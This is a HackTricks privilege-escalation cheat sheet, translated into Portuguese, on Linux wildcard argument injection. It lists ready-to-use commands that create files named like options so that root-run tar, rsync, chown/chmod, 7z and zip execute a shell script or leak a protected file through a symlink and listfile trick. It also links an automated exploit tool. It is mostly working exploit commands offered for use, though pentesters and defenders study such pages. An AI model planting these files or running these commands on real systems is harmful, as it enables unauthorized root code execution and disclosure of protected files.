hacktricks/linux-hardening/privilege-escalation/wildcards-spare-tricks.md

4.7 KiB

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

chown, chmod

Você pode indicar qual proprietário de arquivo e permissões você deseja copiar para o restante dos arquivos

touch "--reference=/my/own/path/filename"

Você pode explorar isso usando https://github.com/localh0t/wildpwn/blob/master/wildpwn.py (ataque combinado)
Mais informações em https://www.exploit-db.com/papers/33930

Tar

Executar comandos arbitrários:

touch "--checkpoint=1"
touch "--checkpoint-action=exec=sh shell.sh"

Você pode explorar isso usando https://github.com/localh0t/wildpwn/blob/master/wildpwn.py (ataque tar)
Mais informações em https://www.exploit-db.com/papers/33930

Rsync

Executar comandos arbitrários:

Interesting rsync option from manual:

-e, --rsh=COMMAND           specify the remote shell to use
--rsync-path=PROGRAM    specify the rsync to run on remote machine
touch "-e sh shell.sh"

Você pode explorar isso usando https://github.com/localh0t/wildpwn/blob/master/wildpwn.py _(_ataque rsync)
Mais informações em https://www.exploit-db.com/papers/33930

7z

No 7z, mesmo usando -- antes de * (note que -- significa que a entrada seguinte não pode ser tratada como parâmetros, então apenas caminhos de arquivo neste caso), você pode causar um erro arbitrário para ler um arquivo, então se um comando como o seguinte estiver sendo executado pelo root:

7za a /backup/$filename.zip -t7z -snl -p$pass -- *

E você pode criar arquivos na pasta onde isso está sendo executado, você poderia criar o arquivo @root.txt e o arquivo root.txt sendo um symlink para o arquivo que você deseja ler:

cd /path/to/7z/acting/folder
touch @root.txt
ln -s /file/you/want/to/read root.txt

Então, quando 7z é executado, ele tratará root.txt como um arquivo contendo a lista de arquivos que deve comprimir (é isso que a existência de @root.txt indica) e quando o 7z ler root.txt, ele lerá /file/you/want/to/read e como o conteúdo deste arquivo não é uma lista de arquivos, ele gerará um erro mostrando o conteúdo.

Mais informações nos Write-ups da caixa CTF do HackTheBox.

Zip

Executar comandos arbitrários:

zip name.zip files -T --unzip-command "sh -c whoami"

{% hint style="success" %} Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Suporte ao HackTricks
{% endhint %}